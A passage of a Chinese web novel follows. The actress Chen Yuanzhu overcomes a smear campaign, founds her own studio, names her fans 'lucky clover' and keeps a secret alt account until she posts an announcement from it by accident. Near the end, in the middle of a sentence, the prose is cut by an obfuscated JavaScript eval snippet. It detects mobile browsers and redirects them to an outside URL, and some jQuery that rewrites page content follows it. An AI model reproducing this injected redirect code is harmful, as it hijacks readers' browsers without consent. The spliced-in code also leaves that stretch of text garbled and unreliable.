助理红着眼睛，递过来一杯温水：「杬祝姐，这不是你的错……是那些营销号和许金鑫的错！」 陈杬祝接过水杯，指尖冰凉，水的温度根本传不到心底。她抬头看向窗外，天空阴沉沉的，像是随时都会下雨。 手机震了震，是许祭发来的消息。没有多余的安慰，只有一行简短的文字：【我们在你公司楼下。】 陈杬祝的眼眶瞬间湿润了。她快步走到窗边，果然看到了那辆熟悉的黑色轿车。沈司南站在车旁，怀里抱着那只熊猫玩偶，正抬头往楼上看。许祭站在他身侧，身姿挺拔，目光坚定地落在她的办公室方向。 她再也忍不住，推开椅子，快步往楼下跑去。 公司楼下的风很大，吹得她的头发凌乱不堪。沈司南看到她，立刻快步走上前，软糯的声音里带着一丝担忧：「杬祝姐，你没事吧？」 许祭也走上前，将一件外套披在她身上，声音温和却带着力量：「别怕，有我们在。」 陈杬祝再也控制不住自己的情绪，扑进沈司南的怀里，肩膀微微颤抖。沈司南轻轻拍着她的背，怀里的熊猫玩偶被挤在中间，软乎乎的，却给了她莫大的安慰。 「他们说……他们说要雪藏我。」陈杬祝的声音带着哭腔，「我明明很努力了，明明……」 「我知道。」沈司南的声音软糯却坚定，「杬祝姐的努力，我们都看在眼里。那些人看不到，是他们的损失。」 许祭从口袋里拿出一个小小的布袋，递给陈杬祝：「这是阿婆让我们带来的定心蛊。它不会做什么，只是能让你心情平静，不受外界的干扰。阿婆说，无论发生什么，苗寨永远是你的家。」 陈杬祝接过布袋，触手温润。她知道，这不是什么神奇的蛊术，而是阿婆和沈司南、许祭对她的牵挂与守护。 「可是……公司已经决定雪藏我了。」陈杬祝的声音里带着一丝绝望。 「雪藏又如何？」许祭的声音冷冽，「以你的演技和实力，就算离开这家公司，也能闯出一片天。如果你愿意，我可以为你成立个人工作室，全权负责你的演艺事业。」 沈司南也点了点头，软糯的声音里带着雀跃：「对！杬祝姐可以自己开工作室！我们可以去苗寨拍戏，阿婆和寨子里的人都会支持你的！」 陈杬祝的心底，瞬间涌起一股暖流。她抬头看向沈司南和许祭，眼底的泪水渐渐散去，取而代之的是一丝坚定。 是啊，雪藏又如何？她有演技，有实力，还有沈司南和许祭的支持，还有苗寨的牵挂。她不会就这么被打倒。 就在这时，陈杬祝的手机突然震了震。是《曼陀沙华》的导演发来的消息，附带着一段完整的初遇戏片段。 【杬祝，这是完整的片段，我已经发到网上了。清者自清，你的演技，不需要向任何人证明。】 陈杬祝立刻点开微博，只见导演的微博已经被刷爆了。完整的片段里，司梦秋站在校园的樱花树下，阳光透过花瓣洒在她身上，她的眼神清冷中带着一丝破碎，回眸的瞬间，惊艳了时光。 这段视频，瞬间扭转了舆论的风向。 「天呐！这才是完整的片段！之前的恶意剪辑太过分了！」 「陈杬祝的演技哪里差了？！这个眼神，这个回眸，简直就是司梦秋本人！」 「我错了！我向陈杬祝道歉！是我被营销号带偏了！」 「资源咖？！就凭这个演技，她值得司梦秋这个角色！」 「那些骂陈杬祝的人，现在脸疼吗？！」 紧接着，《九色鹿》的张导、苗寨文化保护协会、甚至还有很多陈杬祝合作过的演员和导演，都纷纷站出来为她发声。 张导：【陈杬祝是我见过最敬业、最有天赋的演员之一。她的演技，有目共睹。那些恶意抹黑她的人，只会让自己显得更加丑陋。】 苗寨文化保护协会：【陈杬祝女士一直致力于苗寨文化的传播与保护。她的善良与真诚，我们有目共睹。我们相信，她的演艺事业一定会越来越好。】 越来越多的人站出来为陈杬祝发声，评论区的风向彻底逆转。剧集的豆瓣评分也开始回升，很快就回到了7.8分。 陈杬祝的经纪公司办公室里，高层们看着网上的舆论变化，脸色一阵青一阵白。林姐拿着手机，快步走到高层办公室：「老板，现在网上的舆论已经彻底逆转了！很多品牌方都表示要重新考虑合作，还有几个剧本，也都纷纷表示要继续和杬祝合作！」 高层们对视一眼，都从对方的眼里看到了惊讶与庆幸。「快！立刻取消雪藏决定！还有，马上联系陈杬祝，向她道歉！」 陈杬祝收到公司取消雪藏决定的消息时，正和沈司南、许祭坐在糖水铺里。她看着手机屏幕上的文字，只是淡淡一笑，没有丝毫的波澜。 「公司说，要取消雪藏决定，还要向我道歉。」陈杬祝平静地说。 「你打算怎么办？」许祭问道。 陈杬祝抬头看向沈司南和许祭，眼底满是坚定：「我打算解约。我要成立自己的个人工作室，自己掌握自己的演艺事业。」 沈司南立刻欢呼起来：「太好了！杬祝姐太棒了！」 许祭也点了点头，嘴角勾起一抹淡淡的笑意：「我会帮你处理好一切手续。」 几天后，陈杬祝正式发布微博，宣布与原经纪公司解约，成立个人工作室。 @陈杬祝： 山水一程，终有别离。感谢原公司的培养，未来，我将成立个人工作室，继续在演艺道路上前行。 不忘初心，方得始终。 @沈司南感谢一路有你。[心] 微博发出的瞬间，全网沸腾。 「杬祝姐太棒了！成立个人工作室！以后再也不用受公司的气了！」 「支持杬祝姐！以你的实力，一定能越来越好！」 「沈祭祀的名字也在！这是什么神仙友情啊！」 「《曼陀沙华》的司梦秋太绝了！期待杬祝姐的下一部作品！」 陈杬祝的个人工作室成立的第一天，就收到了无数的剧本和品牌合作邀约。她没有急着接戏，而是带着沈司南和许祭，回了一趟苗寨。 苗寨的空气依旧清新，阿婆早已站在寨口等待。看到陈杬祝，阿婆立刻笑着迎了上来：「杬祝啊，你可算回来了！寨子里的人都在等你呢！」 沈司南拉着陈杬祝的手，带着她在寨子里四处逛。寨子里的孩子们围着她，叽叽喳喳地问个不停。许祭则跟在两人身后，目光温柔地落在沈司南身上。 陈杬祝站在老槐树下，看着身边的沈司南和许祭，看着不远处的阿婆和孩子们，眼底满是温柔。 她知道，这段时间的风波，让她看清了很多人，也让她更加珍惜身边的人。 回到横店后，陈杬祝接下了一部文艺片的剧本，饰演一个乡村教师。她全身心地投入到角色中，每天都去乡村体验生活，和孩子们一起上课、玩耍。 电影拍摄的过程很顺利，陈杬祝的演技也得到了导演的高度认可。 电影上映后，票房和口碑双丰收。陈杬祝凭借着这个角色，一举拿下了金鸡奖最佳女主角。 颁奖典礼的那天，陈杬祝穿着一身金色的长裙，站在领奖台上，手里拿着奖杯，眼底满是泪光。 「首先，我要感谢我的朋友沈司南和许祭。」陈杬祝的声音哽咽，「在我最困难的时候，是他们一直陪在我身边，给我支持和鼓励。」 「还要感谢苗寨的阿婆和寨子里的人。」陈杬祝的声音温柔，「苗寨是我的家，那里的温柔和善良，一直支撑着我前行。」 「最后，我要感谢我自己。」陈杬祝的声音坚定，「感谢那个没有被打倒，一直坚持的自己。」 台下，沈司南抱着熊猫玩偶，眼睛红红的，正用力地鼓掌。许祭站在他身侧，嘴角带着淡淡的笑意，目光里满是骄傲。 颁奖典礼结束后，陈杬祝拉着沈司南和许祭的手，走出了会场。夜色正好，星光璀璨。 「杬祝姐，恭喜你！」沈司南的声音里带着雀跃。 许祭也点了点头，声音温和：「实至名归。」 陈杬祝看着两人，嘴角勾起一抹温柔的笑意。她知道，这不是结束，而是新的开始。 未来的日子里，她会继续拍自己喜欢的戏，会继续和沈司南、许祭保持联系，会经常去苗寨看望他们。 25. 幸运草 陈杬祝的个人工作室挂牌的第三个周末，她难得给自己放了一天假，窝在横店的公寓里，对着电脑屏幕上的粉丝留言笑得眉眼弯弯。 工作室刚成立时，粉丝后援会的会长就小心翼翼地来问过，要不要给粉丝们取一个正式的粉丝名。那时她正忙着和原公司解约，又要筛选新剧本，便将这件事暂时压了下来。如今风波尽散，《曼陀沙华》的口碑彻底逆转，司梦秋的樱花回眸成了全网刷屏的名场面，粉丝数量也跟着水涨船高，取粉丝名这件事，终于被提上了日程。 助理将粉丝们自发投票的几个名字整理出来，放在她面前的平板上：「杬祝姐，粉丝们选了几个热度最高的，你看看——‘祝祷者’‘南枝’‘杬光’，这三个得票最多。」 陈杬祝的指尖划过屏幕，「祝祷者」带着对她名字的呼应，温柔又虔诚；「南枝」取自她和沈司南的羁绊，是老粉们最偏爱的；「杬光」则是将她的名字与「光芒」结合，寓意她是粉丝们的光。 都挺好的。 可她总觉得，少了点什么。 她靠在沙发上，指尖无意识地摩挲着手腕上的蓝晶石手链——那是沈司南亲手做的，萤石的光晕在阳光下轻轻晃动。脑海里突然闪过无数个画面：第一次回苗寨，追着沈司南跑过老槐树；《九色鹿》的片场，沈司南穿着月白色祭祀袍站在祭台中央；糖水铺的窄巷里，沈司南用清风蛊默默守护她；公司楼下，沈司南和许祭撑着伞，等她从风雨里走出来…… 还有粉丝们。 在她被骂「整容脸」不配演司梦秋时，是粉丝们一张张翻出她的定妆照，一字一句地反驳；在蛊虫视频引发风波时，是粉丝们第一时间站出来，和她一起为沈司南正名；在她面临雪藏危机时，是粉丝们刷爆了导演放出的完整片段，用数据和真心证明她的演技。 他们不是她的「祷者」，不是她的「枝丫」，也不是单纯追着她光芒的人。 他们是她的幸运。 也是她和沈司南、许祭之间，那段温柔故事里，最温暖的见证者。 陈杬祝的眼睛突然亮了。 她起身走到书桌前，从抽屉里翻出一张压在玻璃下的旧照片——那是她和沈司南的童年合照，照片的角落，不知何时被阿婆贴上了一朵小小的、风干的三叶草。 苗寨里的老人说，三叶草是幸运的象征，找到四片叶子的三叶草，就能拥有一辈子的好运。小时候她总拉着沈司南在寨子里的草地上找，可每次都是她兴致勃勃地翻找，沈司南则蹲在一旁，用软糯的声音安静地陪她说话。 「幸运草。」 她轻声念出这三个字，眼底的笑意像漫开的春水。 助理愣了一下，随即眼睛也亮了：「幸运草？杬祝姐，这个名字好！」 陈杬祝点点头，指尖轻轻点在照片上的三叶草上：「我一路走来，遇到了很多坎坷，但也遇到了很多幸运的事。遇到司南和许祭，是我的幸运；遇到一直支持我的粉丝们，也是我的幸运。他们就像幸运草一样，陪在我身边，给我温暖和力量。」 她没有再多犹豫，拿起手机，点开了微博。 工作室的官微已经提前预告了粉丝名公布的消息，评论区里早已蹲满了期待的粉丝。陈杬祝没有发长篇大论的解释，只是上传了一张照片——照片里，是她手腕上的蓝晶石手链，旁边放着那朵风干的三叶草，背景是她和沈司南的童年合照的一角。 编辑框里，她只敲下了几行简单的字。 @陈杬祝： 想了很久，终于决定了我的粉丝名——「幸运草」? 谢谢你们，像幸运草一样，出现在我的生命里，陪我走过风雨，看过星光。 往后的日子，我们一起，把每一份幸运，都藏进时光里。 [心] 微博发出的瞬间，粉丝后援会的官微第一时间转发，#陈杬祝 粉丝名幸运草# 的词条瞬间冲上热搜。 评论区里，瞬间被温暖的氛围淹没。 「幸运草！这个名字也太温柔了吧！」 「呜呜呜我哭死！杬祝姐说我们是她的幸运！其实她才是我们的幸运啊！」 「蓝晶石手链+三叶草+童年合照！这是什么神仙浪漫！」 「从今天起，我就是陈杬祝的幸运草啦！以后要一起走花路啊！」 「幸运草的寓意好好！我们会一直陪在杬祝姐身边，做你最坚实的后盾！」 有细心的粉丝发现，照片里的三叶草，和沈司南苗寨里的三叶草一模一样，瞬间有人恍然大悟：「原来幸运草还有这层含义！是杬祝姐和沈祭祀的羁绊，也是我们和杬祝姐的羁绊！」 这条评论很快被顶到热评第一，下面的粉丝们纷纷附和：「双向奔赴的爱！太好哭了！」「我们不仅是杬祝姐的幸运草，也是她和沈祭祀故事的见证者！」 陈杬祝刷着评论，嘴角的笑意越来越浓。她拿出手机，给沈司南发了条消息，附上了那张照片：「我给我的粉丝取了个名字，叫幸运草。」 沈司南的回复很快，是一条语音，软糯的声音里带着雀跃：「幸运草！好好听！阿婆说，三叶草是最温柔的草，会给人带来好运。杬祝姐的粉丝们，一定都是很温柔的人。」 许祭的消息也跟着发了过来：「阿婆让我转告你，她已经让寨子里的人采了很多三叶草，晒干后给你寄过来，让你分给你的幸运草们。」 陈杬祝的心底瞬间涌上一股暖流，她回了个「好」字，眼眶微微发热。 没过多久，沈司南的微博也更新了。这一次，他不仅发了自己的动态，还特意艾特了陈杬祝。 @沈司南： 幸运草，是很温柔的名字。[熊猫] 【配图：一张苗寨草地上的三叶草照片，阳光洒在叶片上，闪闪发光；一张是他抱着熊猫玩偶，手里拿着一朵四叶草的照片】 这条微博瞬间引爆了评论区。 「沈祭祀也来啦！四叶草！是双倍的幸运啊！」 「呜呜呜沈祭祀太可爱了！他手里的四叶草是要送给杬祝姐吗？」 「幸运草+四叶草！这是什么神仙联动！我已经磕疯了！」 「沈祭祀说幸运草是温柔的名字！他真的好懂杬祝姐啊！」 陈杬祝看着沈司南的微博，忍不住笑出了声。她仿佛能看到，在苗寨的草地上，沈司南蹲在那里，认真地找着四叶草，阳光落在他的发顶，温柔得像一幅画。 下午，工作室收到了一个巨大的包裹，是苗寨寄来的。打开一看，里面全是晒干的三叶草，每一朵都被细心地整理过，还带着淡淡的草木清香。阿婆还特意附了一张纸条，上面用苗语写着：「送给杬祝的幸运草们，愿他们永远温柔，永远幸运。」 陈杬祝让助理将这些三叶草分成小份，每一份都配上一张手写的卡片，上面写着：「谢谢你，我的幸运草。——陈杬祝」 这些带着苗寨温柔的小礼物，被一一寄给了粉丝后援会的成员，再由他们分发给各地的粉丝。 收到礼物的粉丝们，纷纷在微博上晒出自己的三叶草和卡片，#陈杬祝 幸运草礼物# 的词条再一次冲上热搜。 「呜呜呜我收到三叶草了！还带着淡淡的清香！」 「手写卡片！杬祝姐的字也太好看了吧！」 「这是苗寨的三叶草啊！是阿婆和沈祭祀的心意！太珍贵了！」 「我要把这朵三叶草好好珍藏起来！这是我收到过最特别的礼物！」 陈杬祝看着粉丝们的分享，靠在沙发上，闭上了眼睛。 窗外的阳光正好，透过玻璃洒在她身上，暖洋洋的。手腕上的蓝晶石手链泛着淡淡的光，怀里的平安蛊安静地躺着，书桌前的三叶草在微风中轻轻晃动。 她想起了阿婆的话，想起了沈司南的温柔，想起了许祭的守护，也想起了粉丝们的支持。 从苗寨的老槐树，到横店的影棚；从被质疑的「整容脸」，到口碑逆转的司梦秋；从面临雪藏的危机，到成立个人工作室。 一路走来，风雨兼程，却也幸运满满。 她的生命里，有沈司南和许祭的陪伴，有阿婆的牵挂，有粉丝们的支持。 他们都是她的幸运草。 陈杬祝的手机震了震，是粉丝后援会发来的消息：「杬祝姐，粉丝们已经商量好了，以后我们的应援色就用蓝绿色——蓝色是你手链的颜色，绿色是幸运草的颜色。我们要做你最特别的幸运草！」 陈杬祝的嘴角勾起一抹温柔的笑意，她回了一个「好」字，又加了一个爱心的表情。 夜色渐深，横店的灯火依旧璀璨。 陈杬祝站在窗前，看着远方的星空，眼底满是温柔。 她知道，未来的日子里，还会有各种各样的挑战，但她不再害怕。 因为她的身边，有沈司南，有许祭，有阿婆，还有一群叫做「幸运草」的粉丝们。 陈杬祝的个人工作室步入正轨的第一个月，她结束了一天的剧本围读，回到公寓时已是深夜。窗外的横店灯火阑珊，她泡了一杯热牛奶，窝在沙发上刷着自己的大号微博。 首页全是粉丝们的热情留言，#陈杬祝 幸运草#的话题还在热搜上挂着，粉丝后援会晒出了各地应援的照片，蓝绿色的灯牌汇成一片温柔的海洋。大号的评论区永远是整齐的控评和祝福，每一条都带着粉丝们的小心翼翼和满心欢喜。 她很感激这份热情，却也偶尔会觉得，隔着一层“顶流演员”的身份，总有些心里话无处可说。 比如，她想偷偷分享沈司南寄来的新米煮的粥有多香，想吐槽某场夜戏的道具组把道具做得太逼真，想和人聊聊看沈司南抱着熊猫玩偶追着橘猫跑的样子有多可爱，甚至只是想安安静静地刷一会儿自己的剧，不用在意数据和口碑。 助理端着切好的水果进来，见她对着屏幕发呆，随口提了一句：“杬祝姐，好多艺人都会开小号来冲浪，不用伪装，不用控评，就像普通人一样。” 陈杬祝的眼睛倏地亮了。 这个念头一旦冒出来，就再也压不下去。 她抱着手机，躲进卧室，反锁了门。指尖在注册界面上犹豫了半天，最终没有用任何和自己名字相关的字符，而是敲下了一个简单的昵称——一颗幸运草。 头像选了一张苗寨的三叶草照片，背景是模糊的老槐树，还是沈司南前些天发给她的。个人简介只填了一句话：记录生活里的小幸运。 没有关注任何人，也没有告诉任何人，包括沈司南和许祭。这个小号，是属于她一个人的秘密天地。 她先是小心翼翼地刷了一会儿自己的大号，看着粉丝们为她新接的文艺片欢呼，嘴角忍不住上扬。然后她点开搜索框，输入了“沈司南”。 结果里全是粉丝们剪的他的视频，有《九色鹿》里少年祭祀的名场面，有他喂橘猫的温柔瞬间，还有他小时候那张冷淡的合照。她点进一个视频，看了一遍又一遍，在评论区偷偷留了一句：他真的好温柔啊[兔子] 发完之后，她的心怦怦直跳，像做了什么坏事一样。 接下来的日子里，陈杬祝彻底解锁了小号的正确打开方式。 拍戏间隙，她会用小号刷《曼陀沙华》的弹幕，看到有人夸司梦秋的樱花回眸，她会偷偷回复：我也觉得这个镜头超美！ 看到有人说沈司南客串的少年祭祀是白月光，她会骄傲地留一句：那当然，他本来就是最温柔的人～ 沈司南和许祭来探班时，她会趁着两人不注意，用小号拍一张沈司南抱着熊猫玩偶的侧脸，悄悄发一条微博：今日份小幸运，见到了最可爱的人[熊猫] 没有配图，只有文字，却藏着她满心的欢喜。 阿婆寄来的糯米粑粑到了，她会用小号拍一张照片，配文：苗寨的味道，是最温暖的幸运[心] 然后看着评论区里陌生人的点赞，偷偷乐半天。 甚至有一次，她看到一个营销号又在翻旧账，说她靠“特殊关系”拿到角色，她忍不住用小号在评论区反驳：她的努力你们看不到，她的演技有目共睹！请尊重每一个认真拍戏的演员！ 发完之后，她又觉得自己像个护食的小猫，忍不住笑出了声。 这个小号，就像一个秘密的树洞，装着她所有的小情绪，小欢喜，小吐槽。她不用在意自己的身份，不用考虑公众形象，只需要做最真实的自己。 她的粉丝数慢慢涨了起来，从几个到几十个，再到几百个。关注她的大多是和她一样的普通人，有人喜欢她分享的苗寨日常，有人喜欢她对角色的理解，还有人只是觉得她的文字很温柔。 没有人知道，这个叫一颗幸运草的小号，背后站着的是顶流演员陈杬祝。 这天，陈杬祝刚用小号发了一条微博，分享自己新学会的一道菜——酸汤鱼，是跟着阿婆的视频学的。配文：第一次做酸汤鱼，成功！是幸运的味道[耶] 评论区里瞬间热闹起来。 「哇！看起来好好吃！求教程！」 「楼主一定是个温柔的人，连文字都带着暖意～」 「苗寨的酸汤鱼！我也好想吃！」 陈杬祝正笑着回复评论，手机突然震了震，是许祭发来的消息，附带着一张截图。截图里，正是她刚刚发的那条微博。 【这个账号，是你吗？】 陈杬祝的心跳瞬间漏了一拍。她怎么也没想到，许祭竟然会发现这个小号。 她犹豫了半天，还是回了一个字：【是。】 许祭的回复很快：【我不会告诉别人的。司南也不会。】 紧接着，沈司南的语音消息发了过来，软糯的声音里带着雀跃：「杬祝姐！原来你也有小号啊！我刚才看你发的酸汤鱼，阿婆说你做得很像她的味道！下次我们去探班，你做给我们吃好不好？」 陈杬祝的心底瞬间涌上一股暖流。她回了一条语音，声音里带着笑意：「好啊！等你们来，我亲自做酸汤鱼给你们吃！」 挂了语音，陈杬祝看着手机屏幕，嘴角的笑意越来越浓。 她以为的秘密，被最亲近的人发现了，却没有丝毫的尴尬，只有满满的温暖。 她点开小号，发了一条新的微博：秘密被发现了，却也是一种幸运[兔子] 评论区里，有人回复：「楼主有什么开心的事吗？看你的文字都带着笑意～」 陈杬祝笑着回复：「是啊，因为我身边，有最温暖的幸运～」 从那以后，陈杬祝依旧用小号记录着自己的生活。只是偶尔，她会收到许祭发来的截图，是她小号的某条微博，配文：【司南说，这个熊猫玩偶和他的一样。】 也会收到沈司南发来的语音，软糯的声音里带着笑意：「杬祝姐，你小号里的三叶草照片，是我拍的！」 她的小号，不再是一个人的秘密，而是变成了她和沈司南、许祭之间，又一个温柔的小约定。 这天，陈杬祝的大号发了一条微博，宣布自己的新电影定档。评论区里，粉丝们的祝福铺天盖地。 而她的小号，也同步发了一条微博：新的旅程，新的幸运。愿每一个努力的人，都能被时光温柔以待[心] 配图是一张她的手，手腕上戴着蓝晶石手链，旁边放着一朵三叶草。 没有人知道，这个叫一颗幸运草的小号，就是他们喜欢的陈杬祝。 但这并不重要。 重要的是，在这个小小的账号里，她可以做最真实的自己，可以分享最平凡的快乐，可以记录生活里的每一份小幸运。 窗外的夜色渐深，横店的灯火依旧璀璨。 陈杬祝靠在沙发上，手里拿着手机，看着小号里的评论和点赞，眼底满是温柔。 她知道，这个小号，会一直陪着她。陪着她走过更多的风雨，看过更多的星光，记录更多的小幸运。 而她和沈司南、许祭之间的故事，还有她和粉丝们之间的羁绊，也会在这个小小的账号里，悄悄延续。 陈杬祝的文艺片《山月知我心》路演进行到第三站时，粉丝圈里突然炸开了一场无声的“大侦探行动”。 起因是一位专注于扒陈杬祝相关人脉的老粉，在整理沈司南和许祭的微博关注列表时，意外发现了一个共同点——两个几乎从不关注外人的账号，关注列表里竟在同一天，多了一个名为一颗幸运草的小号。 沈司南的关注列表干净得像一张白纸，除了陈杬祝的大号和苗寨文化保护协会的官方账号，就只有这个刚注册不久、粉丝寥寥几百的小号；许祭的关注列表更是极简，常年只有沈司南和陈杬祝的大号，如今也多了这同一个陌生的名字。 这个发现像一颗投入平静湖面的石子，瞬间在陈杬祝的粉丝群里激起千层浪。 “家人们！重大发现！沈祭祀和许先生的关注列表里，都多了一个叫‘一颗幸运草’的小号！” 这条带着截图的消息刚在粉丝后援会的核心群里发出，群消息就以每秒几十条的速度刷屏。 粉丝们瞬间化身福尔摩斯，顺着账号名点进了这个小号。 头像是一张模糊的苗寨三叶草照片，背景隐约能看到老槐树的轮廓；个人简介写着“记录生活里的小幸运”；动态不多，却条条都透着熟悉的温柔—— 有分享酸汤鱼成功的喜悦，配文“第一次做酸汤鱼，成功！是幸运的味道”； 有深夜感慨拍戏的辛苦，字里行间却满是对角色的热爱； 有偷偷夸赞《曼陀沙华》里司梦秋的樱花回眸，说“这个镜头超美”； 甚至还有一条，写着“今日份小幸运，见到了最可爱的人”，发布时间恰好和沈司南上次探班的时间重合。 最让粉丝们疯狂的是，这个小号的关注列表里，只关注了三个账号——陈杬祝的大号、沈司南、许祭。 “！！！这个头像！三叶草！是我们的粉丝名啊！” “酸汤鱼！苗寨的酸汤鱼！只有杬祝姐才会跟着阿婆学吧！” “发布时间！和沈祭祀探班的时间一模一样！这是什么巧合？！” “关注列表只有杬祝姐、沈祭祀和许先生！这还不明显吗？！” 越来越多的线索被扒出来，粉丝们的心跳也越来越快。他们不敢声张，只是在核心群里悄悄讨论，每一个发现都让他们激动得想尖叫。 有人翻出小号里一张模糊的手部照片，手腕上戴着的手链，和陈杬祝常戴的蓝晶石手链一模一样； 有人发现小号分享的糯米粑粑照片，盘子的花纹和陈杬祝公寓里的餐具别无二致； 还有人注意到，小号的文字风格，和陈杬祝手写卡片上的字迹，有着惊人的相似。 “我赌五毛！这个‘一颗幸运草’就是杬祝姐的小号！” “救命！杬祝姐竟然开小号了！还被沈祭祀和许先生发现了！” “这是什么神仙剧情！小号关注大号，还被最亲近的人关注！” “我们要不要去关注？会不会打扰到杬祝姐？” 粉丝们激动又纠结，既想靠近这份秘密的温柔，又怕惊扰了她的小天地。最终，后援会会长做出了决定：“大家都不要去关注，也不要声张。这是杬祝姐的秘密，我们要做的，就是默默守护。” 于是，一场无声的守护悄然展开。 粉丝们会偷偷点进小号的主页，看她分享的日常，却从不关注，从不评论，从不点赞。他们像一群安静的守护者，远远地看着，分享着她的小快乐，感受着她的小情绪。 陈杬祝对此一无所知。她依旧每天用小号记录着生活里的小幸运，分享着酸汤鱼的教程，吐槽着夜戏的辛苦，夸赞着沈司南的温柔。 直到这天，她用小号发了一条微博，抱怨自己新接的角色需要学骑马，摔了好几次，屁股都快开花了。配文：“学骑马好难啊，有没有什么小技巧？[泪]” 发完之后，她随手刷了刷评论，却意外发现，评论区里多了几条陌生的留言。 “楼主加油！坚持就是胜利！” “骑马的时候要放松，不要太紧张！” “慢慢来，你一定可以的！” 她愣了一下，以为是普通网友的留言，笑着回复了几句。 可她不知道的是，这些留言，都来自她的粉丝。他们实在忍不住，却又不敢暴露身份，只能用最普通的语气，给她最温暖的鼓励。 更让她没想到的是，第二天，沈司南和许祭来探班时，竟然给她带来了一个护臀垫。 “杬祝姐，许祭说骑马会摔，这个给你。”沈司南的声音软糯，眼底满是担忧。 许祭则补充道：“阿婆听说你学骑马摔了，特意让我们给你带了药膏，记得每天擦。” 陈杬祝的脸瞬间红了。她这才反应过来，自己的小号动态，沈司南和许祭一直都在看。 “你们……”她欲言又止，脸上带着一丝羞涩。 “我们只是想看看你的小幸运。”许祭的声音温柔，眼底满是笑意。 沈司南则点了点头，软糯的声音里带着雀跃：“杬祝姐的小号，很可爱。” 陈杬祝的心底涌上一股暖流，她轻轻点了点头，脸上露出了温柔的笑容。 晚上，她用小号发了一条新的微博：“收到了最温暖的礼物，也是最幸运的事[心]” 配图是护臀垫和药膏的照片，背景是她手腕上的蓝晶石手链。 评论区里，又多了几条鼓励的留言。 “礼物好贴心！楼主一定很幸福！” “要好好照顾自己啊！” “幸运会一直伴随着你的！” 陈杬祝笑着回复了每一条留言，她不知道，这些留言的背后，是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037612|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群默默守护她的幸运草。 日子一天天过去，陈杬祝的小号粉丝数依旧不多，却每天都能收到几条温暖的留言。她依旧不知道这些人的身份，只当他们是普通的网友，却也渐渐习惯了这份陌生的温柔。 而她的粉丝们，也依旧在默默守护着这个秘密。他们会在大号里为她欢呼，在小号外为她守护，用自己的方式，陪伴着她走过每一段旅程。 这天，陈杬祝的文艺片《山月知我心》上映，票房和口碑双丰收。她的大号微博被粉丝们的祝福淹没，#陈杬祝 山月知我心演技炸裂#的词条冲上热搜榜首。 而她的小号，也同步发了一条微博：“新电影上映了，希望每一个人，都能在山月里，找到属于自己的幸运[心]” 配图是一张电影海报，海报上的她，穿着朴素的乡村教师服装，眼底满是温柔。 评论区里，瞬间被温暖的留言填满。 “电影超好看！楼主的演技太棒了！” “我们都去看了！真的很感动！” “愿每一个人，都能被幸运包围！” 陈杬祝看着这些留言，嘴角的笑意越来越浓。她不知道，这些留言，都来自她的幸运草。 她更不知道，在她的粉丝群里，粉丝们正激动地讨论着。 “杬祝姐的小号发微博了！我们的留言她都看到了！” “她一定不知道，我们就是她的幸运草！” “这种默默守护的感觉，真的太美好了！” 窗外的夜色渐深，横店的灯火依旧璀璨。 陈杬祝靠在沙发上，手里拿着手机，看着小号里的评论和点赞，眼底满是温柔。她的手腕上，蓝晶石手链泛着淡淡的光，怀里的平安蛊安静地躺着，书桌前的三叶草在微风中轻轻晃动。 她知道，这个小号，是她的秘密天地，也是她的小幸运。 她不知道的是，在这个秘密天地的外面，有一群叫做幸运草的粉丝，正在默默守护着她，陪伴着她，分享着她的每一份小幸运。 陈杬祝的新剧《山月知我心》定档官宣的前一晚，工作室的团队忙到深夜，最终将剪辑好的官宣视频和文案发给她确认。彼时她刚结束一场夜戏，累得连眼皮都在打架，窝在房车的沙发上，手指机械地点开文件，快速扫过一遍后，随手将视频保存到了手机相册。 “确认无误，明天准时发。”她给助理回了条消息，便将手机扔到一边，扯过毛毯裹住自己，几乎是秒睡过去。 第二天清晨，陈杬祝是被手机的震动声吵醒的。她迷迷糊糊地摸过手机，脑子里还残留着拍戏的片段，完全没意识到自己还没切换账号。工作室的提醒消息弹了出来：「杬祝姐，到官宣时间啦！」 她揉着惺忪的睡眼，手指点开相册，精准选中那支《山月知我心》的官宣视频，熟练地点击发送——整个过程一气呵成，没有半分犹豫。 发完之后，她还顺手在文案框里敲了一行字：「新剧来啦！这次是温柔的乡村教师和倔强的山野少年，大家多多支持呀[耶]」 点击发布的瞬间，她打了个哈欠，终于彻底清醒过来。 视线落在手机屏幕上的那一刻，陈杬祝的血液瞬间凝固了。 置顶的微博不是她的大号@陈杬祝，而是那个她小心翼翼守护了许久的小号——一颗幸运草。 那条带着《山月知我心》官宣视频的微博，正安安静静地躺在她的小号主页上，发布时间显示为「1分钟前」。 “糟了！” 陈杬祝猛地从沙发上弹起来，心脏狂跳得几乎要冲破胸膛。她手忙脚乱地去点删除按钮，指尖却因为紧张而不停颤抖，连续点错了好几次。 就在这时，手机的震动声密集得像炸开了锅。 许祭的消息率先跳进来：【小号？】 紧接着是沈司南的语音，软糯的声音里带着一丝慌乱：「杬祝姐！你是不是不小心用小号发了官宣视频？！」 而更让她头皮发麻的是，她的小号粉丝列表里，那些默默关注着她的“幸运草”们，已经有人发现了这条动态。 短短两分钟，那条微博的评论区已经炸开了锅。 「！！！这个视频！是《山月知我心》的官宣视频吧！我没看错吧！」 「楼主怎么会有这个视频？！这不是还没官宣吗？！」 「等等！楼主的文案！‘新剧来啦’！难道……」 「结合之前的所有线索！我宣布！一颗幸运草就是杬祝姐的小号！实锤了！」 陈杬祝终于手忙脚乱地删掉了那条微博，却已经晚了。 粉丝们的截图速度比她的删除速度快了不止一倍。 陈杬祝粉丝后援会的核心群里，瞬间被那张截图刷屏。 「家人们！实锤了！一颗幸运草就是杬祝姐的小号！她不小心用小号发了新剧官宣视频！」 「我的天！我就知道！我就知道这个账号是杬祝姐的！」 「救命！杬祝姐也太可爱了吧！睡迷糊了发错账号！」 「怎么办？！我们要不要去小号留言？！会不会打扰到她？」 